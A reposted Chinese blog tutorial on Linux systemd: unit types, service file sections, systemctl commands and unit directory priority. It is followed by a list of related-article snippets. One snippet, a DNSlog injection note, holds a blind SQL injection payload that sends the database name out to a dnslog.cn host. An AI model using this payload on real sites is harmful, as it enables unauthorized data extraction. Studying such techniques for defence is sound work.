linux系统篇(二).之Systemd机制

news2024/11/24 14:56:53

一、system介绍

在这里插入图片描述
在这里插入图片描述
systemd配置文件
systemd中这些资源分别代表着不同的单元(Unit)。systemd 总共有 11 种不同类型的“单元”。单元封装了与系统启动和维护相关的各种对象。systemd通过这些Unit的配置文件,知道怎么启动这些Unit。

提供以下单位类型:

1.服务单元(systemd.service):启动和控制守护进程及其组成的进程。
2.套接字单元(systemd.socket):它封装了系统中的本地 IPC 或网络套接字,对于基于套接字的激活很有用。
3.目标单元(systemd.target):可用于对单元进行分组,或在启动期间提供众所周知的同步点。
4.设备单元(systemd.device):在 systemd 中公开内核设备,并可用于实现基于设备的激活。
5.挂载单元(systemd.mount):控制文件系统中的挂载点。
6.自动挂载单元(systemd.automount):提供自动挂载功能,用于按需挂载文件系统以及并行启动。
7.定时器单元(systemd.timer):对于触发基于定时器的其他单元的激活很有用。
8.交换单元(systemd.swap):与挂载单元非常相似,封装了操作系统的内存交换分区或文件。
9.路径单元(systemd.path):当文件系统对象更改或修改时,路径单元可用于激活其他服务。
10.切片单元(systemd.slice):可用于将管理系统进程的单元(例如服务和范围单元)分组到分层树中,以用于资源管理。
11.范围单元(systemd.scope):类似于服务单元,但管理外部进程而不是启动它们。

单元文件是从编译期间确定的一组路径加载的,如右表中所述。在前面列出的目录中找到的单元文件会覆盖列表中较低目录中的同名文件。
一个.Service配置文件分为三部分:

Unit:定义该服务作为Unit角色时相关的属性
Service:定义本服务相关的属性
Install:定义本服务在设置服务开机自启动时相关的属性。换句话说,只有在创建/移除服务配置文件的软链接时,Install段才会派上用场。这一配置段不是必须的,当未配置[Install]时,设置开机自启动或禁止开机自启动的操作将无任何效果

在这里插入图片描述

在这里插入图片描述

二、
在终端中输入 ps ax | grep systemd,看到第一行,其中的数字 1 表示它的进程号是1,也就是说它是 Linux 内核发起的第一个程序
在这里插入图片描述

若某个单元被禁用了,您可以先通过 systemctl enable 加上该单元名的方式将其启用。这种做法会为该单元创建一个符号链接,并将其放置在当前启动目标的 .wants 目录下,这些 .wants 目录在/etc/systemd/system 文件夹中。)

还有两个有用的命令是 systemctl restart 和 systemctl reload,后面接单元名。后者用于让单元重新加载它的配置文件。Systemd 的绝大部分都有良好的文档,因此您可以查看手册 (man systemctl) 了解每条命令的细节。

root@ubuntu:/etc/systemd/system# ll
total 120
drwxr-xr-x. 1 root root 4096 Jan 29 08:42 ./
drwxr-xr-x. 1 root root 4096 Jan 29 08:42 …/
lrwxrwxrwx. 1 root root 9 Jan 29 08:42 alsa-restore.service -> /dev/null
lrwxrwxrwx. 1 root root 9 Jan 29 08:42 alsa-state.service -> /dev/null
lrwxrwxrwx. 1 root root 9 Jan 29 08:42 alsa-store.service -> /dev/null
lrwxrwxrwx. 1 root root 9 Jan 29 08:42 alsa-utils.service -> /dev/null
lrwxrwxrwx. 1 root root 9 Jan 29 08:42 apt-daily.service -> /dev/null
drwxr-xr-x. 2 root root 4096 Jan 29 08:42 basic.target.wants/
drwxr-xr-x. 2 root root 4096 Jan 29 07:59 bluetooth.target.wants/
lrwxrwxrwx. 1 root root 42 Jan 29 07:52 dbus-fi.w1.wpa_supplicant1.service -> /lib/systemd/system/wpa_supplicant.service
lrwxrwxrwx. 1 root root 37 Jan 29 07:59 dbus-org.bluez.service -> /lib/systemd/system/bluetooth.service
lrwxrwxrwx. 1 root root 44 Jan 29 07:40 dbus-org.freedesktop.resolve1.service -> /lib/systemd/system/systemd-resolved.service
lrwxrwxrwx. 1 root root 45 Jan 29 07:40 dbus-org.freedesktop.timesync1.service -> /lib/systemd/system/systemd-timesyncd.service
drwxr-xr-x. 2 root root 4096 Jul 31 2020 default.target.wants/
drwxr-xr-x. 2 root root 4096 Jan 29 07:41 dev-hwrng.device.wants/
lrwxrwxrwx. 1 root root 9 Sep 27 2023 display-manager.service -> /dev/null
drwxr-xr-x. 2 root root 4096 Jan 29 08:42 docker.service.d/
drwxr-xr-x. 2 root root 4096 Jan 29 07:52 emergency.target.wants/
drwxr-xr-x. 2 root root 4096 Jan 29 07:40 getty.target.wants/
drwxr-xr-x. 2 root root 4096 Jan 29 08:03 graphical.target.wants/
lrwxrwxrwx. 1 root root 9 Jan 29 08:39 grub-initrd-fallback.service -> /dev/null
-rw-r–r–. 1 root root 135 Dec 31 2012 ‘mlnx_interface_mgr@.service’
drwxr-xr-x. 2 root root 4096 Jan 29 08:42 multi-user.target.wants/
drwxr-xr-x. 2 root root 4096 Jan 29 08:42 network-online.target.wants/
drwxr-xr-x. 2 root root 4096 Jan 29 08:41 _init.target.wants/
lrwxrwxrwx. 1 root root 9 Jan 29 08:42 _network_configure.service -> /dev/null
lrwxrwxrwx. 1 root root 9 Jan 29 08:42 _nvlog_client_daemon.service -> /dev/null
lrwxrwxrwx. 1 root root 9 Jan 29 08:42 _rootfs_expand.service -> /dev/null
lrwxrwxrwx. 1 root root 9 Jan 29 08:42 _vbios_update.service -> /dev/null
lrwxrwxrwx. 1 root root 9 Jan 29 08:42 ondemand.service -> /dev/null
drwxr-xr-x. 2 root root 4096 Jan 29 07:52 remote-fs.target.wants/
drwxr-xr-x. 2 root root 4096 Jan 29 07:52 rescue.target.wants/
drwxr-xr-x. 2 root root 4096 Jan 29 08:42 ‘serial-getty@.service.d’/
drwxr-xr-x. 2 root root 4096 Jan 29 07:52 sleep.target.wants/
lrwxrwxrwx. 1 root root 41 Jan 29 07:59 smartd.service -> /lib/systemd/system/smartmontools.service
drwxr-xr-x. 2 root root 4096 Jan 29 08:42 smartd.service.d/
drwxr-xr-x. 2 root root 4096 Jan 29 08:42 sockets.target.wants/
drwxr-xr-x. 2 root root 4096 Jan 29 08:42 ssh.service.wants/
lrwxrwxrwx. 1 root root 31 Jan 29 07:59 sshd.service -> /lib/systemd/system/ssh.service
drwxr-xr-x. 2 root root 4096 Jan 29 08:42 sysinit.target.wants/
lrwxrwxrwx. 1 root root 35 Jan 29 07:41 syslog.service -> /lib/systemd/system/rsyslog.service
drwxr-xr-x. 2 root root 4096 Sep 27 2023 .target.wants/
drwxr-xr-x. 2 root root 4096 Jul 31 2020 timers.target.wants/
lrwxrwxrwx. 1 root root 9 Jan 29 08:42 upower.service -> /dev/null

在这里插入图片描述

在这里插入图片描述
三、
利用systemctl添加自定义系统服务

systemctl脚本存放在:/usr/lib/systemd/,有 系统(system)和用户(user) 之分,像需要 开机不登陆就能运行 的程序,还是存在系 统服务里 吧,即:/usr/lib/systemd/system目录下

/etc/systemd/system和/usr/lib/systemd/system 的区别
Systemd 默认从目录/etc/systemd/system/读取配置文件。
但是,里面存放的大部分文件都是符号链接,指向目录/usr/lib/systemd/system/,真正的配置文件存放在那个目录。 systemctl enable 命令用于在上面两个目录之间,建立符号链接关系。

使用如下软链接命令 sudo ln -s /usr/lib/systemd/system/clamd@scan.service /etc/systemd/system/multi-user.target.wants/clamd@scan.service

然后重启systemd, systemctl daemon-reload

等同于加入开机启动项 sudo systemctl enable clamd@scan.service

如果配置文件里面设置了开机启动,systemctl enable命令相当于激活开机启动。与之对应的,systemctl disable命令用于在两个目录之间,撤销符号链接关系,相当于撤销开机启动。

1、区别:

/usr/lib/systemd/system/ 软件包安装的单元
/etc/systemd/system/ 系统管理员安装的单元, 优先级更高
2、优先级:
systemd的使用大幅提高了系统服务的运行效率, 而unit的文件位置一般主要有三个目录:
/etc/systemd/system
/run/systemd/system
/lib/systemd/system
这三个目录的配置文件优先级依次从高到低,如果同一选项三个地方都配置了,优先级高的会覆盖优先级低的。

系统安装时,默认会将unit文件放在/lib/systemd/system目录。如果我们想要修改系统默认的配置,比如nginx.service,一般有两种方法:

1)在/etc/systemd/system目录下创建nginx.service文件,里面写上我们自己的配置。
2)在/etc/systemd/system下面创建nginx.service.d目录,在这个目录里面新建任何以.conf结尾的文件,然后写入我们自己的配置。推荐这种做法。
/run/systemd/system这个目录一般是进程在运行时动态创建unit文件的目录,一般很少修改,除非是修改程序运行时的一些参数时,即Session级别的,才在这里做修改。

原文链接:https://blog.csdn.net/qq_43287763/article/details/128199285

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1067526.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

为什么建议你考一个pmp项目管理证书?

先说一下,不是建议所有人考pmp,毕竟也不是所有人都做项目管理这一行,主要是项目管理人士(PMI提出的pmp目标人群),大概如下几类: 项目小白,想进入项目管理行业,可在招聘上…

JDBC和GUI实现图书管理系统

1.介绍 主要通过gui页面实现了与mysql数据库实现交互,跟以前写的图书管理系统相比就是从存在集合中变成了存在数据库中. 下面我来介绍一下主要功能吧: 1.1.通过基本信息添加图书: 1.2.通过ID修改图书 1.3.通过ID查询图书 1.4.通过ID删除图书 2.构建数据库 2.1建库 …

深圳市重点实验室申报要求-华夏泰科

深圳市重点实验室,以开展基础研究、应用基础研究、前沿技术研究,培养人才、支撑产业和社会发展为目标而建立。它为研究人员提供了一个独特的平台,提供了一个展示他们创新性研究的舞台。本文将深入探讨如何申报深圳市重点实验室,为…

VS2022配置Opencv

配置环境变量 配置路径 由于新版本VS属性管理器没有Microsoft.cpp.x64.user文件,可以选择直接在Debug x64进行配置 配置包含目录和库目录 配置链接器

SpringCloud(三)Sentinel、Seata、多级缓存

文章目录 Sentinel雪崩问题Sentinel与Hystrixsentinel使用案例限流规则流控模式流控效果热点参数限流 隔离和降级Feign整合Sentinel线程隔离熔断降级 授权规则与规则持续化自定义异常结果规则管理模式 Seata分布式事务问题理论基础CAP定理BASE理论 Seata架构部署TC服务微服务集…

KylinOSv10系统k8s集群启动mysql5.7占用内存高的问题

问题现象 麒麟系统搭建k8s集群 mysql的pod启动失败 describe查看ommkill,放大limit资源限制到30G依旧启动失败 系统 报错信息 原因 内存占用太高 open_files_limit初始化太高 解决: 1、更换镜像 链接: https://pan.baidu.com/s/1b9uJLcc5Os0uDqD1e…

使用vue-cli创建vue3工程

PS:创建前先查看 vue/cli 版本,确保 vue/cli 版本在4.5.0以上 如果不是4.5.0以上版本,可以通过如下命令进行 安装/升级: npm install -g vue/cli 创建vue3工程步骤如下: 1. 创建项目: ①选择存放项目的…

3DShape2VecSet主题论文集

一、3DShape2VecSet 1、论文信息 2、开源情况:已开源 3DShape2VecSet: A 3D Shape Representation for Neural Fields and Generative Diffusion Modelsg3DShape2VecSet: A 3D Shape Representation for Neural Fields and Generative Diffusion Modelshttps://1z…

车载网络诊断应如何测试?

文章目录 一、前言二、测试内容三、测试设备和台架方案四、测试脚本及工程五、其他一、前言 目前车上主流的网络有CAN、LIN、ETH(以太网)。 按照测试环境可以划分为单件测试,系统测试,整车测试。 我们来看下CAN和以太网的分层图: CAN的分层图: 以太网的分层图: 最好的…

《第一行代码Andorid》阅读笔记-第十三章(最终章)

这一部分是天气API的笔记,这本书最后会让你做一个天气的app程序 其他的无关紧要的部分我就不写了,这是因为我原本的笔记是在飞书上面的,同步到CSDN上的流程稍显复杂 天气API 1. 项目结构 类: MainActivity:主活动Wea…

Echarts热力/散点/面积地图和高德amap不得不说的故事

简单封装高德amap 只要涉及到地图开发,我们都需要依赖地图工具,常见的有谷歌地图、百度地图、高德地图。我们的项目里依赖高德地图JS API 2.0。 npm i amap/amap-jsapi-loader -s 在项目里,我们需要一个预加载好的地图loader方便我们随调随…

【消费战略】解读100个食品品牌|速溶咖啡精品化,“三顿半”承接强势需求!

可可,咖啡、茶饮,作为世 界三大饮料,被人们所熟知。一直以来,咖啡都被人们认定为是舶来。其实,中国的咖啡市场经过这么多年的培育和发展,已不同往昔。就拿上海来说,根据2021年《上海咖啡消费指数…

【算法】算法设计与分析 课程笔记 第三章 动态规划

1.1 动态规划简介 1.1.1 引例 动态规划算法和分治法类似,基本思想也是将待求解问题分解成若干个子问题,子问题可以以继续拆分,直到问题规模达到临界条件即可。多说无益,举个例子来解释一下: 这其实是一个多阶段图求最…

python 打包可执行文件-Nuitka详解

python 打包可执行文件-Nuitka详解 引言一、参数详解二、与pyinstaller对比三、打包总结 引言 Nuitka是用Python编写的优化Python编译器,它可以创建运行时不需要单独安装程序的可执行文件。简单易使用,与Python2(2.6、2.7)和Pyth…

3d环形图开发(vue3+vite+ts)

开发效果&#xff08;待完善&#xff09;&#xff1a; 技术支持&#xff1a; Echarts echarts-gl 安装&#xff1a; 注&#xff1a;echarts与echarts-gl版本需对应&#xff0c;可参考官网 pnpm add echarts4.9.0 echarts-gl1.1.2 组件封装&#xff1a; <template><…

unity操作_Camera c#

观察场景中Main Camera 的清除背景Clear Flags 第一种&#xff1a;Skybox天空盒渲染 制作3D游戏使用 第二种&#xff1a;Solid Color 制作2D游戏 第三种&#xff1a;Depth only 多个摄像机叠加渲染 相对重点学会多个摄像机设置Depth only使…

鸿蒙手表开发之使用adb命令安装线上包

#国庆发生的那些事儿# 鸿蒙手表开发之使用adb命令安装线上包 前言&#xff1a; 由于之前的哥们匆忙离职了&#xff0c;所以鸿蒙手表项目的新版本我临时接过来打包发布&#xff0c;基本上之前没有啥鸿蒙经验&#xff0c;但是一直是做Android开发的&#xff0c;在工作人员的指…

【FPGA零基础学习之旅#14】串口发送字符串

&#x1f389;欢迎来到FPGA专栏~串口发送字符串 ☆* o(≧▽≦)o *☆嗨~我是小夏与酒&#x1f379; ✨博客主页&#xff1a;小夏与酒的博客 &#x1f388;该系列文章专栏&#xff1a;FPGA学习之旅 文章作者技术和水平有限&#xff0c;如果文中出现错误&#xff0c;希望大家能指正…

DNSlog 注入简单笔记

无回显的盲注可以想办法回显到 dns 日志上&#xff1a; 1、打开 http://www.dnslog.cn 获取域名 2、注入&#xff1a; ?id1 and (select load_file(concat(//,(select database()),.3.mw0gxd.dnslog.cn/a)))-- 3、点击刷新得到回显&#xff1a;

机器学习笔记 - 两个静态手势识别的简单示例

一、关于手势识别 手势识别方法通常分为两类:静态或动态。 静态手势是那些只需要在分类器的输入处处理单个图像的手势,这种方法的优点是计算成本较低。动态手势需要处理图像序列和更复杂的手势识别方法。 进一步了解可以参考下面链接。 静态手势识别和动态手势识别的区别和技…